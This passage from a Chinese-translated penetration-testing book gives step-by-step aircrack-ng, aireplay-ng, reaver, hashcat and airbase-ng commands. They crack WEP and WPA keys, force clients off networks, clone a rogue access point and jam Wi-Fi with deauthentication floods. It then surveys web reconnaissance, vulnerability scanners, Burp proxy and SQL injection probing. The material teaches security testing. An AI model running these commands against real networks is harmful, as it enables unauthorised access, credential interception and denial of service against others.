airodump定位到目标时,按下Ctrl + C停止搜索。复制 BSSID 中的 MAC 地址,并记下频道。当airodump定位到目标时,按下Ctrl + C停止搜索。复制 BSSID 中的 MAC 地址,并记下频道;在下面截图中显示的示例中,目标网络dd_wep在速度为 11 MB 的第六频道上运行。

破解 WEP 加密

  1. 启动airodump-ng以嗅探无线流量并使用以下命令收集 IV 数据包,其中--bssid允许我们选择目标的 BSSID,-c表示频道,-w允许我们写入输出文件的名称(wep_out):
root@kali:~# airodump-ng --bssid 00:06:25:9A:A9:C6 -c 6 -w
  wep_out wlan0 

  1. 现在我们必须增加传输的 IV 数据包数量。打开第二个终端窗口(不要关闭第一个)并输入以下命令,对目标无线接入点进行虚假认证:
root@kali:~# aireplay-ng -1 0 -a 00:06:25:9A:A9:C6 -h 
  00:11:22:33:44:55 -e dd_wep wlan0 

这里,-1表示虚假认证,0是重新关联的时间(设置为0可能会引起防御者的警觉,因此攻击者可能将其设置为 30 甚至更高)。

  1. 在进行虚假认证后,我们将生成似乎来自受信任 MAC 地址的流量,并将其路由到目标无线接入点。
root@kali:~# aireplay-ng -3  -b 00:06:25:9A:A9:C6 -h 
  00:11:22:33:44:55 wlan0 

这种攻击被称为 ARP 注入或 ARP 重放攻击。通常,目标接入点将重新广播 ARP 数据包并每次生成一个新的 IV;因此,这是一种快速培育必要 IV 的方法。

先前命令的执行结果如下截图所示:

破解 WEP 加密

  1. 让我们在 ARP 注入继续的同时生成一些额外的数据包。打开另一个终端窗口,并输入以下命令开始交互式数据包重放攻击:
root@kali:~# aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF 
  - b (mac address) -h (mac address) wlan0 

在这里,-2表示我们正在使用交互式重放攻击,-p 0841设置数据包的帧控制字段,使其看起来像是从无线客户端发送的,-c FF:FF:FF:FF:FF:FF设置目的地(在这种情况下,FF符号发送数据包到网络上的所有主机),-b是 BSSID 的 MAC 地址,-h是正在传输的数据包的 MAC 地址,应与测试者的 MAC 地址匹配。

先前命令的执行结果如下截图所示:

破解 WEP 加密

  1. 使网络看起来繁忙的另一种技术是在攻击系统上打开多个命令 shell,并输入以下命令,将(IP 地址)替换为目标的 IP 地址:
root@kali:~# ping -T -L 6500 (IP address)

  1. 收集并保存足够的数据包后,可以使用以下aircrack-ng命令来破解 WEP 密钥,其中-a 1强制攻击模式为静态 WEP,-b是 BSSID,dd_wep.cap是包含捕获的 IV 的捕获文件。
root@kali:~# aircrack-ng -a 1 -b 00:06:25:9A:A9:C6 -n 64 
  dd_wep.cap 

如下面的截图所示,攻击成功,并且密钥已被识别。(尽管它看起来是一个十六进制数,您只需输入它即可登录到 WEP 网络。)

破解 WEP 加密

尽管这个演示集中在 64 位密钥上,但一旦从访问点收集了 IVs,更长的密钥破解时间并不会显著增加。

aircrack-ng套件是“黄金标准”,提供了获得访问的最可靠和有效的方式。然而,Kali 还配备了其他几种工具,可以帮助您破解加密的无线网络。

其中一个是 Fern WiFi Cracker,它是一个集成了aircrack-ng的 Python GUI。它可以自动扫描无线网络并识别 WEP、WPA 和 WPA2 网络。一旦识别出网络,攻击者可以利用以下几个功能:

  • 使用各种攻击来破解 WEP,包括分段、Chop Chop、Caffe Latte、Hirte、ARP 请求重放或 WPS 攻击

  • 使用字典或基于 WPS 的攻击来破解 WPA 和 WPA2

  • 成功破解后自动将密钥保存到数据库

  • 内部中间人引擎支持会话劫持

  • 对 HTTP、HTTPS、Telnet 和 FTP 进行暴力攻击

Fern 的界面非常干净,设置引导用户选择接口并扫描访问点。它将报告 WEP 和 WPA/WPA2 的访问点;从这一点开始,只需点击适当的按钮启动攻击。Fern 的初始启动界面如下截图所示:

破解 WEP 加密

尽管 Fern 是一个很好的工具,但大多数测试人员并不完全依赖它——如果无法识别密钥或无法访问网络,失败的原因可能隐藏在 GUI 背后,使故障排除变得困难。

类似的应用程序是 Wifite 无线审计员,它提供了一个基于文本的界面来支持测试。在现场测试中已被证明非常有效,并利用了以下功能:

  • Wifite 通过在攻击之前将攻击者的 MAC 地址更改为随机 MAC 地址来支持匿名,并在所有攻击完成后将其改回来

  • 按信号强度(以 dB 为单位)对目标进行排序,以首先破解最近的访问点

  • 自动使隐藏网络的客户端脱机以显示 SSID

  • 支持多种攻击类型

在下面的截图中显示的示例中,选择了一个名为dd_wep的单个目标进行攻击。不需要与应用程序进行任何其他交互;它完成了完全的破解并将破解的密钥保存到数据库中。

破解 WEP 加密

尽管已经有一些基本工具可以在 Kali 上使用来证明已经废弃的 WEP 的漏洞,但更强大的 WPA 加密协议能经受住多大的攻击呢?

攻击 WPA 和 WPA2

WiFi Protected AccessWPA)和WiFi Protected Access 2WPA2)是旨在解决 WEP 安全缺陷的无线安全协议。因为 WPA 协议为每个数据包动态生成新密钥,它们防止了导致 WEP 失败的统计分析。然而,它们对一些攻击技术是脆弱的。

WPA 和 WPA2 经常使用预共享密钥PSK)来保护接入点和无线客户端之间的通信。PSK 应该是至少 13 个字符长的随机密码;如果不是,就有可能通过将 PSK 与已知字典进行比较来确定 PSK,使用暴力破解攻击。这是最常见的攻击方式。(请注意,如果配置为企业模式,提供使用 RADIUS 认证服务器进行认证,从我们的角度来看,WPA 是“无法破解”的!)

暴力破解攻击

与 WEP 不同,WPA 解密需要攻击者创建特定的数据包类型,以揭示细节,例如接入点和客户端之间的握手。

要攻击 WPA 传输,应执行以下步骤:

  1. 启动无线适配器,并使用ifconfig命令确保创建了监视接口。

  2. 使用airodump-ng –wlan0来识别目标网络。

  3. 使用以下命令开始捕获目标接入点和客户端之间的流量:

root@kali:~# airodump-ng --bssid 28:10:7B:61:20:32 -c 11 
  --showack -w dd_wpa2 wlan0 

-c设置为监视特定频道,--showack标志以确保客户端计算机确认您的请求将其从无线接入点去认证,并将-w用于将输出写入文件以供以后进行字典攻击。这种攻击的典型输出如下截图所示:

Brute-force attacks

  1. 保持这个终端窗口打开,并打开第二个终端窗口来发起去认证攻击;这将迫使用户重新对目标接入点进行认证并重新交换 WPA 密钥。去认证攻击命令如下所示:
root@kali:~# aireplay-ng -0 10 –a 28:10:7B:61:20:32 
  -c 00:1D:60:7D:55:5A wlan0 

上一个命令的执行结果如下截图所示:

Brute-force attacks

成功的去认证攻击将显示ACKs,表明连接到目标接入点的客户端已确认刚刚发送的去认证命令。

  1. 查看原始命令行,保持打开以监视无线传输,并确保捕获 4 次握手。成功的 WPA 握手将在控制台的右上角标识。在下面的示例中,数据表明 WPA 握手值为28:10:7B:61:20:32Brute-force attacks

  2. 使用aircrack来破解 WPA 密钥,使用定义的单词列表。攻击者为收集握手数据定义的文件名将位于根目录中,并且将附加-01.cap扩展名。

在 Kali 中,单词列表位于/usr/share/wordlists目录中。虽然有几个单词列表可用,但建议您下载更有效地破解常见密码的列表。

在上面的示例中,密钥已经预先放置在密码列表中。对于长、复杂的密码进行字典攻击可能需要几个小时,具体取决于系统配置。以下命令使用words作为源单词列表。

root@kali:~# aircrack-ng wpa-01.cap /usr/share/wordlists

以下截图显示了成功破解 WPA 密钥的结果;经过 44 个密钥的测试,发现网络管理员的密钥是princessmouse

Brute-force attacks

如果你手头没有自定义密码列表或希望快速生成一个列表,你可以在 Kali 中使用 crunch 应用程序。以下命令指示 crunch 使用给定的字符集创建一个最小长度为 5 个字符、最大长度为 25 个字符的单词列表:

root@kali:~# crunch 0 25
  abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX
  YZ0123456789 | aircrack-ng --bssid (MAC address) 
  -w capture-01.cap 

您还可以使用基于 GPU 的密码破解工具(oclHashcat 用于 AMD/ATI 显卡,cudaHashcat 用于 NVIDIA 显卡)来提高暴力破解攻击的效果。

要执行此攻击,首先使用以下命令将 WPA 握手捕获文件psk-01.cap转换为 hashcat 文件:

root@kali:~# aircrack-ng psk-01.cap -J <output file>

转换完成后,使用以下命令对新的捕获文件运行 hashcat(选择与您的 CPU 架构和图形卡匹配的 hashcat 版本):

root@kali:~# cudaHashcat-plus32.bin -m 2500 <filename>.hccap<wordlist>

使用 Reaver 攻击无线路由器

WPA 和 WPA2 也容易受到对接入点的 Wi-Fi 受保护设置(WPS)和 PIN 码的攻击。

大多数接入点支持Wi-Fi 受保护设置WPS)协议,该协议于 2006 年成为标准,允许用户轻松设置和配置接入点,并将新设备添加到现有网络,而无需重新输入大而复杂的密码。

不幸的是,PIN 码是一个 8 位数字(100,000,000 种可能的猜测),但最后一个数字是一个校验和值。因为 WPS 认证协议将 PIN 码分成两半并分别验证每一半,这意味着第一半 PIN 码有 10⁴(10,000)个值,第二半有 10³(1,000)个可能的值——攻击者只需最多猜测 11,000 次就能破坏接入点!

Reaver 是一个旨在最大化猜测过程的工具(尽管 Wifite 也进行 WPS 猜测)。

要启动 Reaver 攻击,使用一个名为wash的伴侣工具来识别任何易受攻击的网络,如以下命令所示:

root@kali:~# wash -i wlan0 --ignore-fcs

如果有任何易受攻击的网络,使用以下命令对它们发动攻击:

root@kali:~# reaver -i wlan0 -b (BBSID) -vv

在 Kali 中测试这种攻击表明,攻击速度慢,容易失败;然而,它可以用作后台攻击或补充其他攻击路径来破坏 WPA 网络。

克隆接入点

对无线网络的一种更有趣的攻击依赖于克隆接入点,然后监视用户尝试连接时传输的信息。攻击者不仅可以获得认证凭据,还可以利用中间人攻击来拦截或重定向网络流量。

Kali 中包含的几个工具声称支持克隆或制造伪造接入点;然而,目前这些工具存在缺陷。例如,社会工程工具包和 Websploit 不与 Kali 预装的 DHCP 服务器集成。

大多数攻击者寻找外部工具,包括 Gerix 或 easy-creds 等脚本;然而,aircrack-ng套件也包括一个工具。airbase-ng,用于克隆接入点。

为了制作一个假的无线接入点,攻击者将:

  1. 启动wlan0进入监视模式,这将创建一个用于监视的mon0接口,使用以下命令:
root@kali:~# airmon-ng start wlan0

  1. 使用以下命令在mon0上设置接入点(AP)。社会工程学对 AP 的成功有重大影响,因此使用一个能吸引目标客户的名称。在这个例子中,我们将使用一个通用的开放式 Wi-Fi 网络名称。它将在 WiFi 频道六上建立:
root@kali:~# airbase-ng --essid Customer_Network 
  -c 6 mon0 

  1. 使用以下命令安装桥接工具:
apt-get install bridge-utils

  1. 在另一个终端窗口中,使用桥接工具创建一个桥接(rogue),并将at0at0接口是由前一个命令创建的)链接到eth0(请注意,必须首先使用apt-get install bridge-utils安装桥接工具)。
root@kali:~# brctl addbr rogue
root@kali:~# brctl addif rogue at0
root@kali:~# brctl addif rogue eth0

因为这两个接口被集成到虚拟桥中,你可以使用以下命令释放它们的 IP 地址:

root@kali:~# ifconfig at0 down
root@kali:~# ifconfig at 0.0.0.0 up
root@kali:~# ifconfig eth0 down
root@kali:~# ifconfig eth0 0.0.0.0 up

  1. 使用以下命令启用桥接上的 IP 转发:
root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward

  1. 使用以下命令配置桥接到连接到eth0的 LAN 的 IP 地址:
root@kali:~# ifconfig rogue 10.1.x.y netmask 255.255.255.0 broadcast 10.1.x.255 up
root@kali:~# route add default gw 10.1.x.1

  1. 使用以下命令启动 AP 以嗅探认证握手:
airbase-ng -c 6 -e --ESSID /file_path/file.cap wlan0

拒绝服务攻击

我们将评估对无线网络的最终攻击是拒绝服务攻击,攻击者剥夺合法用户访问无线网络或通过使网络崩溃使其不可用。无线网络极易受到 DoS 攻击的影响,并且很难在分布式无线网络上定位攻击者。DoS 攻击的例子包括以下内容:

  • 向无线网络注入制作的网络命令,如重新配置命令,可以导致路由器、交换机和其他网络设备的故障。

  • 一些设备和应用程序可以识别正在发生的攻击,并将自动响应以禁用网络。一个恶意的攻击者可以发动一个明显的攻击,然后让目标自己创建 DoS!

  • 用数据包的洪水攻击无线网络可以使其无法使用;例如,一个 HTTP 洪水攻击向 Web 服务器发出数千个页面请求,可以耗尽其处理能力。同样,用认证和关联数据包淹没网络会阻止用户连接到接入点。

  • 攻击者可以制作特定的去认证和去关联命令,这些命令用于关闭无线网络上的授权连接,并淹没网络,阻止合法用户维持与无线接入点的连接。

为了证明这一点,我们将通过向网络发送去认证数据包来制造一个拒绝服务攻击。因为无线 802.11 协议是建立在接收到特定数据包时支持去认证的基础上的(这样用户可以在不再需要连接时断开连接),这可能是一个毁灭性的攻击——它符合标准,没有办法阻止它发生。

“撞”一个合法用户离开网络的最简单方法是用一连串的去认证数据包来攻击他们。可以使用aircrack-ng工具套件的以下命令来实现这一点:

root@kali:~# aireplay-ng -0 0 -a (bssid) -c wlan0

这个命令将攻击类型标识为-0,表示这是一个去认证攻击。第二个0(零)会发出一连串的去认证数据包,使网络对其用户不可用。

Websploit 框架是一个用于扫描和分析远程系统的开源工具。它包含了几个工具,包括专门用于无线攻击的工具。要启动它,打开命令行,然后简单地输入websploit

Websploit 界面类似于recon-ng和 Metasploit Framework,并为用户提供了模块化界面。

启动后,使用show modules命令查看现有版本中存在的攻击模块。使用use wifi/wifi_jammer命令选择 WiFi 干扰器(一连串的去认证数据包)。如下截图所示,攻击者只需使用set命令设置各种选项,然后选择run来发动攻击。

拒绝服务攻击

总结

在本章中,我们研究了对无线网络成功攻击所需的几个管理任务,包括选择无线适配器、配置无线调制解调器,并使用诸如 aircrack-ng Kismet 等工具进行侦察。我们专注于使用aircrack-ng工具套件来识别隐藏网络、绕过 MAC 认证以及破解 WEP 和 WPA/WPA2 加密。我们还看到了如何克隆或复制无线接入点,以及如何对无线网络进行拒绝服务攻击。

下一章将重点介绍攻击者如何针对网站及其服务。我们将研究用于侦察的工具,特别是客户端代理和漏洞扫描器。我们将看到攻击者如何利用这些漏洞与自动化工具,如利用框架和在线密码破解。更重要的是,我们将研究一些通常需要手动干预的离散攻击,例如注入攻击和跨站脚本。最后,我们将探讨在线服务的特殊性,以及它们为何以及如何容易受到 DoS 攻击的影响。

第九章:对基于 Web 的应用程序的侦察和利用

在前几章中,我们审查了攻击者的杀伤链——用于破坏网络和设备、披露数据或阻碍对网络资源的访问的具体方法。在第七章中,物理攻击和社会工程,我们研究了攻击的途径,从物理攻击和社会工程开始。在第八章中,利用无线通信,我们看到了无线网络如何被 compromise。在本章中,我们将重点关注通过网站和基于 Web 的应用程序的最常见的攻击途径之一。

提供内容和基于 Web 的服务(例如电子邮件和 FTP)的网站是无处不在的,大多数组织几乎始终允许远程访问这些服务。然而,对于渗透测试人员和攻击者来说,网站暴露了发生在网络上的后端服务,访问网站的用户的客户端活动以及用户与网站数据之间的连接频繁攻击。本章将重点关注攻击者对网站和 Web 服务的视角,我们将在第十章中审查对连接的攻击,利用远程访问通信和第十一章中的客户端攻击,客户端利用

到本章结束时,您将学到以下内容:

  • 将侦察原则扩展到 Web 服务

  • 漏洞扫描

  • 使用客户端代理

  • 利用 Web 服务中的漏洞

  • 使用 Web 后门维持对受损系统的访问

提示

在许多练习中,我们将使用 NOWASP 或 Mutillidae 作为目标网站,该网站包含可以利用的已知漏洞;它可以从www.owasp.org/index.php/C…下载。这个 Web 应用程序可以直接安装到 Linux 或 Windows 上,使用 LAMP、WAMP 和 XAMPP。它也预先安装在 SamauraiWTF 和 Metasploitable 测试环境中。请参考附录,安装 Kali Linux,了解创建 Metasploitable 测试环境的说明。

对网站进行侦察

网站及其服务的交付特别复杂。通常,服务是使用多层架构交付给最终用户的,其中 Web 服务器可以被公共互联网访问,同时与位于网络上的后端服务器和数据库进行通信。

测试期间必须考虑的几个额外因素增加了复杂性,其中包括以下内容:

  • 网络架构,包括安全控制(防火墙、IDS/IPS 和蜜罐)和负载平衡等配置

  • 平台架构(硬件、操作系统和附加应用程序)托管 Web 服务的系统

  • 应用程序、中间件和最终层数据库可能采用不同的平台(Unix 或 Windows)、供应商、编程语言和商业和专有软件的混合

  • 认证和授权流程,包括在应用程序中维护会话状态的流程

  • 规定应用程序将如何使用的基础业务逻辑

  • 客户端与网络服务的交互和通信

鉴于网络服务的复杂性已经得到证明,渗透测试人员需要适应每个站点特定的架构和服务参数。同时,测试过程必须一贯应用,并确保没有遗漏。已经提出了几种方法来实现这些目标。最广泛接受的方法是开放式 Web 应用安全项目(OWASP)(www.owasp.org)及其十大漏洞清单。

作为最低标准,OWASP 为测试人员提供了强有力的指导。然而,仅关注十大漏洞是短视的,该方法在发现应用程序应如何支持业务实践的逻辑漏洞时已经表现出一些缺陷。

使用杀链方法,一些特定于网络服务侦察的活动应该被突出,包括以下内容:

  • 确定目标站点,特别是关于它的托管位置和方式。

  • 列举目标网站的站点目录结构和文件,包括确定是否使用内容管理系统(CMS)。这可能包括下载网站进行离线分析,包括文档元数据分析,并使用网站创建用于密码破解的自定义字典(使用 crunch 等程序)。还要确保所有支持文件也被识别。

  • 识别认证和授权机制,并确定在与该网络服务进行交易时如何维护会话状态。这通常涉及对 cookie 的分析以及它们的使用方式。

  • 列举所有表单。由于这些是客户端输入数据和与网络服务交互的主要手段,这些是一些可利用的漏洞的特定位置,比如 SQL 注入攻击和跨站脚本。

  • 识别其他接受输入的区域,比如允许文件上传的页面以及对接受的上传类型的任何限制。

  • 确定如何处理错误,以及用户收到的实际错误消息;通常,错误会提供有价值的内部信息,比如使用的软件版本,或者内部文件名和进程。

  • 确定哪些页面需要并维护安全套接字层或其他安全协议(参见第十章,“利用远程访问通信”)。

第一步是进行先前描述的被动和主动侦察(参见第二章,“确定目标-被动侦察”和第三章,“主动侦察和漏洞扫描”);特别是确保识别托管站点,然后使用 DNS 映射来识别由同一服务器提供的所有托管站点(攻击的最常见和成功的手段之一是攻击与目标网站托管在同一物理服务器上的非目标站点,利用服务器的弱点获取根访问权限,然后使用升级后的权限攻击目标站点)。

下一步是识别网络防护设备的存在,比如防火墙、IDS/IPS 和蜜罐。一个越来越常见的防护设备是 Web 应用防火墙(WAF)。

如果使用了 WAF,测试人员将需要确保攻击,特别是依赖精心制作的输入的攻击,被编码以绕过 WAF。

WAF 可以通过手动检查 cookie(一些 WAF 会标记或修改在 Web 服务器和客户端之间通信的 cookie),或者通过头信息的更改(当测试人员使用 Telnet 等命令行工具连接到端口 80 时识别)来识别。

WAF 检测的过程可以使用nmap脚本http-waf-detect.nse自动化,如下截图所示:

对网站进行侦察

nmap 脚本识别出 WAF 的存在;然而,对脚本的测试表明,它在发现方面并不总是准确的,返回的数据可能过于一般化,无法指导有效的绕过防火墙的策略。

wafw00f 脚本是一个自动化工具,用于识别和指纹 Web 防火墙;测试表明,它是最准确的工具。该脚本可以轻松从 Kali 中调用,并在以下截图中显示了大量输出:

对网站进行侦察

负载均衡检测器lbd)是一个 bash shell 脚本,用于确定给定域名是否使用 DNS 和/或 HTTP 负载均衡。这对于测试人员来说是重要信息,因为当测试一个服务器,然后负载均衡器将请求转发到另一个服务器时,可以解释看似异常的结果。Lbd 使用各种检查来识别负载平衡的存在;以下截图显示了一个示例输出:

对网站进行侦察

应检查网站以确定可能用于构建和维护网站的 CMS。诸如 Drupal、Joomla 和 WordPress 等 CMS 应用程序可能配置有易受攻击的管理界面,允许访问提升的权限,或者可能包含可利用的漏洞。

Kali 包括一个自动化扫描程序BlindElephant,用于指纹识别 CMS 以确定版本信息。以下截图显示了一个示例输出:

对网站进行侦察

BlindElephant 审查 CMS 的组件指纹,然后提供了存在版本的最佳猜测。然而,与其他应用程序一样,我们发现它可能无法检测到存在的 CMS;因此,始终要根据其他爬行网站特定目录和文件的扫描器的结果进行验证,或者手动检查网站。

一种特定的扫描工具,自动网络爬虫,可用于验证已收集的信息,以及确定特定网站的现有目录和文件结构。网络爬虫的典型发现包括管理门户、配置文件(当前和以前的版本)可能包含硬编码访问凭据和内部结构信息、网站的备份副本、管理员注释、机密个人信息和源代码。

Kali 支持多个网络爬虫,包括 Burp Suite、DirBuster、OWASP-ZAP、Vega、WebScarab 和 WebSlayer。最常用的工具是 DirBuster。

DirBuster 是一个使用可能的目录和文件列表进行暴力分析网站结构的 GUI 驱动应用程序。响应可以以列表或树状格式查看,更准确地反映了网站的结构。执行该应用程序针对目标网站的输出如下截图所示:

对网站进行侦察

还可以直接复制网站到测试人员的位置。这种“网站克隆”允许测试人员有时间审查目录结构及其内容,从本地文件中提取元数据,并使用网站内容作为crunch等程序的输入,以生成支持密码破解的个性化字典。

要将网站克隆到本地系统,请使用 HTTrack。如果 Kali 中没有该软件,可以使用apt-get命令进行下载,然后在命令提示符中输入httrack来执行。您将被提示选择一个目录位置来存储下载的网站。程序执行完毕后,您将拥有目标网站的备份。

一旦您已经映射出正在交付的网站和/或 Web 服务的基本结构,杀伤链的下一个阶段是识别可以利用的漏洞。

漏洞扫描仪

使用自动化工具进行漏洞扫描可能存在问题。Web 漏洞扫描仪遭受所有扫描仪的常见缺点(扫描仪只能检测已知漏洞的签名;它们无法确定漏洞是否实际可利用;存在高比例的假阳性报告)。此外,Web 漏洞扫描仪无法识别业务逻辑中的复杂错误,并且它们无法准确模拟黑客使用的复杂链式攻击。

为了提高可靠性,大多数渗透测试人员使用多种工具来扫描 Web 服务;当多个工具报告可能存在特定漏洞时,这种共识将指导测试人员需要手动验证的区域。

Kali 配备了大量用于 Web 服务的漏洞扫描仪,并提供了一个稳定的平台,用于安装新的扫描仪并扩展其功能。这使得渗透测试人员可以通过选择扫描工具来增加测试的有效性:

  • 最大化测试的完整性(已识别的漏洞的总数)和准确性(真实的漏洞而不是假阳性结果)。

  • 最小化获取可用结果所需的时间。

  • 最小化对正在测试的 Web 服务的负面影响。这可能包括由于流量增加而导致系统减速。例如,最常见的负面影响之一是由于测试将数据输入到数据库然后通过电子邮件向个人提供已经进行的更改的更新的表单而导致的—对这些表单的不受控制的测试可能导致发送超过 30,000 封电子邮件!

选择最有效的工具存在相当大的复杂性。除了已列出的因素外,一些漏洞扫描仪还将启动适当的利用并支持后利用活动。对于我们的目的,我们将考虑所有扫描可利用弱点的工具为“漏洞扫描仪”。Kali 提供了对几种不同的漏洞扫描仪的访问,包括以下内容:

  • 扩展传统漏洞扫描仪的功能以包括网站和相关服务(Metasploit Framework 和 Websploit)

  • 扩展功能以支持 Web 服务漏洞扫描(OWASP Mantra)的非传统应用程序的扫描仪

  • 专门开发以支持网站和 Web 服务中的侦察和利用检测的扫描仪(Arachnid、Nikto、Skipfish、Vega、w3af 等)

扩展传统漏洞扫描仪的功能

这种类型的漏洞扫描仪的最佳示例是 Metasploit Framework of Rapid7 中打包的wmap模块。要使用此模块,您必须首先确保postgresql数据库服务已启动;使用以下命令:

root@kali:~# service postgresql start 

接下来,从命令提示符启动msfconsole并输入load wmap命令。与大多数框架应用程序一样,在命令提示符中输入help-h将显示可用于使用的命令。

管理目标站点,请使用wmap_sites命令。-a选项将目标的 IP 地址添加到应用程序的数据库中。-l选项提供了一个可用站点的列表,用于测试目标,如下面的截图所示:

扩展传统漏洞扫描器功能

选择目标后,测试人员现在可以使用以下命令运行wmap模块:

msf> wmap_run –e

上一个命令的执行显示在以下截图中:

扩展传统漏洞扫描器功能

执行此命令可能需要一些时间才能完成(这取决于网站页面的数量,以及网站的结构复杂性,以及所选模块操作以检测漏洞的方式)。

Metasploit 框架并不是为网站和网络服务的复杂性而设计的;这在使用该产品与使用专门为网站和网络服务设计的漏洞扫描器所得到的有限发现数量中是可见的。然而,由于它始终在更新,值得监控其扫描能力的变化。

Websploit应用程序还使用wmap模块。

扩展 Web 浏览器功能

Web 浏览器被设计用于与 Web 服务交互。因此,它们被选为漏洞评估和利用工具是很自然的。

这种工具集的最佳示例是 OWASP 的 Mantra——一个建立在 Firefox 网络浏览器上的第三方安全实用程序集。OWASP 的 Mantra 支持 Windows、Linux 和 Macintosh 测试系统,并提供支持以下活动的实用程序:

  • 信息收集:这些实用程序提供被动侦察,报告目标的物理位置,揭示底层站点技术,并搜索和测试站点的超链接

  • 编辑器:一组编辑、调试和监视 HTML、CSS 和 JavaScript 的实用程序

  • 代理:提供代理管理工具的实用程序,包括 FoxyProxy,这是一个方便在代理之间切换的工具

  • 网络实用程序:这些实用程序提供 FTP 和 SSH 通信的客户端,并简化 DNS 缓存管理。

  • 应用程序审计:这些工具在各种用户代理之间切换,访问 Web 开发人员工具,控制每个站点发送的 HTTP 引用者,查找 SQL 注入和 XSS 漏洞,允许测试人员篡改数据,并访问 Websecurify 工具

  • 杂项:生成脚本,管理会话和下载,并访问加密、解密和哈希标签功能

Mantra 框架可用于促进对网站的半自动侦察。

在以下截图中显示的示例中,Mutillidae 登录页面已在 Mantra 浏览器中打开。使用下拉菜单(从右上角的蓝色标志激活),从可用工具中选择了 SQL Inject Me 应用程序,并显示在左侧面板中。

扩展 Web 浏览器功能

特定于 Web 服务的漏洞扫描器

漏洞扫描器是自动化工具,用于爬行应用程序以识别已知漏洞的签名。

Kali 预装了几种不同的漏洞扫描器;可以通过导航到Kali Linux | Web 应用程序 | Web 漏洞扫描器来访问它们。渗透测试人员通常会针对同一目标使用两到三个综合扫描器,以确保有效的结果。请注意,一些漏洞扫描器还包括攻击功能。

漏洞扫描器相当“喧闹”,通常会被受害者检测到。然而,扫描经常被忽略作为互联网上的常规后台探测的一部分。事实上,一些攻击者已知会对目标发起大规模扫描,以掩盖真正的攻击或诱使防御者禁用检测系统,以减少他们需要管理的报告的涌入。

对最重要的漏洞扫描器进行快速调查包括以下内容:

应用描述
Arachnid一个分析扫描期间接收的 HTTP 响应以验证响应并消除误报的开源 Ruby 框架。
GoLismero它映射 Web 应用程序并检测常见的漏洞。结果以 TXT、CVS、HTML 和 RAW 格式保存。
Nikto一个基于 Perl 的开源扫描器,允许 IDS 回避和用户更改扫描模块;然而,这个“原始”的网络扫描器开始显露其年龄,不如一些更现代的扫描器准确。
Skipfish这个扫描器完成递归爬行和基于字典的爬行,生成一个带有来自其他漏洞扫描输出的交互式站点地图。
Vega这是一个基于 GUI 的开源漏洞扫描器。由于它是用 Java 编写的,它是跨平台的(Linux、OS X 和 Windows),并且可以由用户定制。
w3af这个扫描器为全面的 Python 测试平台提供了图形和命令行界面。它映射目标网站并扫描漏洞。这个项目被 Rapid7 收购,所以将来会与 Metasploit 框架更紧密地集成。
Wapiti这是一个基于 Python 的开源漏洞扫描器。
Webscarab这是 OWASP 基于 Java 的框架,用于分析 HTTP 和 HTTPS 协议。它可以充当拦截代理、模糊器和简单的漏洞扫描器。
Webshag这是一个基于 Python 的网站爬虫和扫描器,可以利用复杂的 IDS 回避。
Websploit这是一个针对有线和无线网络攻击的框架。

大多数测试人员开始使用 Nikto 来测试网站,这是一个简单的扫描器(特别是在报告方面),通常提供准确但有限的结果;这个扫描的样本输出如下图所示:

Web-service-specific vulnerability scanners

接下来要使用更先进的扫描器,扫描更多的漏洞;反过来,它们可能需要更长的时间才能完成。复杂的漏洞扫描(由要扫描的页面数量和站点的复杂性决定,可能包括允许用户输入的多个页面,如搜索功能或收集用户数据的表单,用于后端数据库)通常需要几天的时间才能完成。

根据发现的已验证漏洞数量,最有效的扫描器之一是 Subgraph 的 Vega。如下图所示,它扫描目标并将漏洞分类为高、中、低或信息。测试人员可以点击识别的结果“深入”到具体的发现。测试人员还可以修改用 Java 编写的搜索模块,以便专注于特定的漏洞或识别新的漏洞。

Web-service-specific vulnerability scanners

另一个值得使用的扫描器是Web 应用攻击和审计框架w3af),这是一个基于 Python 的开源 Web 应用安全扫描器。它提供了预配置的漏洞扫描,支持 OWASP 等标准。扫描器的广泛选项是有代价的——它花费的时间比其他扫描器长得多,并且在长时间的测试期间容易出现故障。下面的屏幕截图显示了一个配置为对样本网站进行全面审计的 w3af 实例:

Web-service-specific vulnerability scanners

Kali 还包括一些特定应用的漏洞扫描器。例如,WPScan 专门针对WordPress CMS应用程序。

使用客户端代理进行安全测试

与自动化漏洞扫描器不同,客户端代理需要大量人工交互才能发挥作用。客户端代理拦截 HTTP 和 HTTPS 流量,允许渗透测试人员检查用户和应用程序之间的通信。它允许测试人员复制数据或与发送到应用程序的请求进行交互。

Kali 自带了几个客户端代理,包括 Burp Suite、OWASP ZAP、Paros、ProxyStrike、漏洞扫描器 Vega 和 WebScarab。经过广泛测试,我们已经开始依赖 Burp Proxy,并将 ZAP 作为备用工具。

Burp 主要用于拦截 HTTP(S)流量;然而,它是一个更大工具套件的一部分,具有几个额外的功能,包括:

  • 一个能够识别网站的应用程序感知蜘蛛

  • 漏洞扫描器,包括一个用于测试会话令牌随机性的顺序器,以及一个用于在客户端和网站之间操纵和重新发送请求的重复器(漏洞扫描器未包含在 Kali 打包的 Burp 代理的免费版本中)

  • 一个可以用来发起定制攻击的入侵者工具(Kali 包含的免费版本工具有速度限制;如果购买了软件的商业版本,则这些限制将被移除)

  • 编辑现有插件或编写新插件以扩展可以使用的攻击数量和类型的能力

要使用 Burp,请确保您的网络浏览器配置为使用本地代理;通常,您需要调整网络设置以指定 HTTP 和 HTTPS 流量必须使用本地主机(127.0.0.1)的 8080 端口。

设置浏览器和代理一起工作后,手动映射应用程序。这是通过关闭代理拦截,然后浏览整个应用程序来完成的。跟踪每个链接,提交表单,并尽可能多地登录到网站的各个区域。额外的内容将从各种响应中推断出来。站点地图将在目标选项卡下的一个区域中填充(也可以通过右键单击站点并选择Spider This Host来使用自动化爬行;然而,手动技术给了测试人员深入了解目标的机会,并且可能识别需要避免的区域)。

目标映射完成后,通过选择站点地图中的分支并使用添加到范围命令来定义目标-范围。完成后,您可以使用显示过滤器隐藏站点地图上不感兴趣的项目。下面的截图显示了目标网站的站点地图:

使用客户端代理进行安全测试

爬行完成后,手动审查目录和文件列表,查看是否有任何看起来不属于公共网站的结构,或者无意中泄露的内容。例如,名为 admin、backup、documentation 或 notes 的目录应该进行手动审查。

使用单引号作为输入手动测试登录页面产生了一个错误代码,表明可能容易受到 SQL 注入攻击的影响;错误代码的示例返回如下截图所示:

使用客户端代理进行安全测试

